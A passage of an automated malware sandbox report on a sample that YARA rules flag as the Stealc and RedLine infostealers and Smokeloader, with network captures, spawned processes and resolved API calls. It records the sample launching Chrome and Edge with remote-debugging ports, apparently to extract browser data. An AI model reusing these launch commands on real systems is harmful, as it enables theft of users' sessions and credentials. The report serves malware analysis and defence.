2024-10-29 17:42:47 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:47 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 903d302d-701e-0050-069c-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174247Z-16849878b78p49s6zkwt11bbkn00000006k0000000007z16 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:47 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:47 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:47 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:47 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 0ede0bb0-401e-00a3-7094-298b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174247Z-17c5cb586f6r59nt869u8w8xt800000005z0000000000pqc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:47 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:47 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:47 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:47 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 27f7fbdb-301e-0096-2237-26e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174247Z-16849878b7828dsgct3vrzta7000000005a0000000009azb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:47 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:47 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:47 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:47 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 0064e569-401e-0067-43f2-2409c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174247Z-r197bdfb6b4wmcgqdschtyp7yg00000006y0000000002k9q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:47 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:47 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:48 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:47 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 8be2881b-101e-008d-3d2e-2792e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174247Z-15b8d89586fxdh48ft0acdbg4400000000p0000000009mc6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:48 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	49881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:48 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:48 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:48 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: e9bbe3b2-401e-005b-3496-259c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174248Z-16849878b78fhxrnedubv5byks000000055000000000m51p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:48 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:48 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:48 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:48 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: 6dfdd6d0-d01e-00a1-15fd-2535b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174248Z-17c5cb586f62blg5ss55p9d6fn00000007p0000000005b34 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:48 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Target ID:	0
Start time:	13:42:03
Start date:	29/10/2024
Path:	C:\Users\user\Desktop\5BQwrSLxIZ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\5BQwrSLxIZ.exe"
Imagebase:	0x400000
File size:	654'336 bytes
MD5 hash:	44D41FBEEC6AC8AACEC9B49E01D3B311
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2754231192.0000000002C49000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2099802766.0000000004920000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2754655975.0000000004840000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2754655975.0000000004840000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2754327165.0000000002CBF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:42:14
Start date:	29/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:42:15
Start date:	29/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2348 --field-trial-handle=2124,i,623430963547524201,12155014114524219740,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:42:25
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:42:26
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2788 --field-trial-handle=2428,i,8417053299692469591,16795964137482112875,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:42:26
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	13:42:27
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=952 --field-trial-handle=2052,i,5172159360179937622,2345701733477799989,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	13:42:37
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3056 -s 1876
Imagebase:	0xc20000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.4%
Dynamic/Decrypted Code Coverage:	18.5%
Signature Coverage:	4.3%
Total number of Nodes:	2000
Total number of Limit Nodes:	146

Executed Functions

Function 00419F20 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,02C42AA0), ref: 00419F3D
GetProcAddress.KERNEL32(75900000,02C42940), ref: 00419F55
GetProcAddress.KERNEL32(75900000,02CBEFD8), ref: 00419F6E
GetProcAddress.KERNEL32(75900000,02CBEFC0), ref: 00419F86
GetProcAddress.KERNEL32(75900000,02CBF188), ref: 00419F9E
GetProcAddress.KERNEL32(75900000,02CBF0C8), ref: 00419FB7
GetProcAddress.KERNEL32(75900000,02CC1608), ref: 00419FCF
GetProcAddress.KERNEL32(75900000,02CBF140), ref: 00419FE7
GetProcAddress.KERNEL32(75900000,02CBF158), ref: 0041A000
GetProcAddress.KERNEL32(75900000,02CBF1A0), ref: 0041A018
GetProcAddress.KERNEL32(75900000,02CBF1B8), ref: 0041A030
GetProcAddress.KERNEL32(75900000,02C429C0), ref: 0041A049
GetProcAddress.KERNEL32(75900000,02C42A40), ref: 0041A061
GetProcAddress.KERNEL32(75900000,02C42A00), ref: 0041A079
GetProcAddress.KERNEL32(75900000,02C42A80), ref: 0041A092
GetProcAddress.KERNEL32(75900000,02CC5000), ref: 0041A0AA
GetProcAddress.KERNEL32(75900000,02CC5030), ref: 0041A0C2
GetProcAddress.KERNEL32(75900000,02CC1770), ref: 0041A0DB
GetProcAddress.KERNEL32(75900000,02C42C60), ref: 0041A0F3
GetProcAddress.KERNEL32(75900000,02CC4FD0), ref: 0041A10B
GetProcAddress.KERNEL32(75900000,02CC5048), ref: 0041A124
GetProcAddress.KERNEL32(75900000,02CC4FB8), ref: 0041A13C
GetProcAddress.KERNEL32(75900000,02CC4FE8), ref: 0041A154
GetProcAddress.KERNEL32(75900000,02C42B80), ref: 0041A16D
GetProcAddress.KERNEL32(75900000,02CC5018), ref: 0041A185
GetProcAddress.KERNEL32(75900000,02CC4F88), ref: 0041A19D
GetProcAddress.KERNEL32(75900000,02CC4FA0), ref: 0041A1B6
GetProcAddress.KERNEL32(75900000,02CC4EB0), ref: 0041A1CE
GetProcAddress.KERNEL32(75900000,02CC4DF0), ref: 0041A1E6
GetProcAddress.KERNEL32(75900000,02CC4EC8), ref: 0041A1FF
GetProcAddress.KERNEL32(75900000,02CC4EE0), ref: 0041A217
GetProcAddress.KERNEL32(75900000,02CC4DD8), ref: 0041A22F
GetProcAddress.KERNEL32(75900000,02CC4EF8), ref: 0041A248
GetProcAddress.KERNEL32(75900000,02CC11F0), ref: 0041A260
GetProcAddress.KERNEL32(75900000,02CC4F40), ref: 0041A278
GetProcAddress.KERNEL32(75900000,02CC4D30), ref: 0041A291
GetProcAddress.KERNEL32(75900000,02C42AC0), ref: 0041A2A9
GetProcAddress.KERNEL32(75900000,02CC4D60), ref: 0041A2C1
GetProcAddress.KERNEL32(75900000,02C42B00), ref: 0041A2DA
GetProcAddress.KERNEL32(75900000,02CC4F58), ref: 0041A2F2
GetProcAddress.KERNEL32(75900000,02CC4CB8), ref: 0041A30A
GetProcAddress.KERNEL32(75900000,02C42B40), ref: 0041A323
GetProcAddress.KERNEL32(75900000,02C42680), ref: 0041A33B
LoadLibraryA.KERNEL32(02CC4E08,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A34D
LoadLibraryA.KERNEL32(02CC4F28,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A35E
LoadLibraryA.KERNEL32(02CC4F10,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A370
LoadLibraryA.KERNEL32(02CC4D48,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A382
LoadLibraryA.KERNEL32(02CC4D78,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A393
LoadLibraryA.KERNEL32(02CC4D18,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A3A5
LoadLibraryA.KERNEL32(02CC4E20,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A3B7
LoadLibraryA.KERNEL32(02CC4F70,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A3C8
GetProcAddress.KERNEL32(75FD0000,02C42720), ref: 0041A3EA
GetProcAddress.KERNEL32(75FD0000,02CC4C88), ref: 0041A402
GetProcAddress.KERNEL32(75FD0000,02CBECD0), ref: 0041A41A
GetProcAddress.KERNEL32(75FD0000,02CC4E98), ref: 0041A433
GetProcAddress.KERNEL32(75FD0000,02C42520), ref: 0041A44B
GetProcAddress.KERNEL32(734B0000,02CC17E8), ref: 0041A470
GetProcAddress.KERNEL32(734B0000,02C42580), ref: 0041A489
GetProcAddress.KERNEL32(734B0000,02CC1478), ref: 0041A4A1
GetProcAddress.KERNEL32(734B0000,02CC4D90), ref: 0041A4B9
GetProcAddress.KERNEL32(734B0000,02CC4DA8), ref: 0041A4D2
GetProcAddress.KERNEL32(734B0000,02C425C0), ref: 0041A4EA
GetProcAddress.KERNEL32(734B0000,02C428C0), ref: 0041A502
GetProcAddress.KERNEL32(734B0000,02CC4CA0), ref: 0041A51B
GetProcAddress.KERNEL32(763B0000,02C428E0), ref: 0041A53C
GetProcAddress.KERNEL32(763B0000,02C42740), ref: 0041A554
GetProcAddress.KERNEL32(763B0000,02CC4CD0), ref: 0041A56D
GetProcAddress.KERNEL32(763B0000,02CC4E68), ref: 0041A585
GetProcAddress.KERNEL32(763B0000,02C42760), ref: 0041A59D
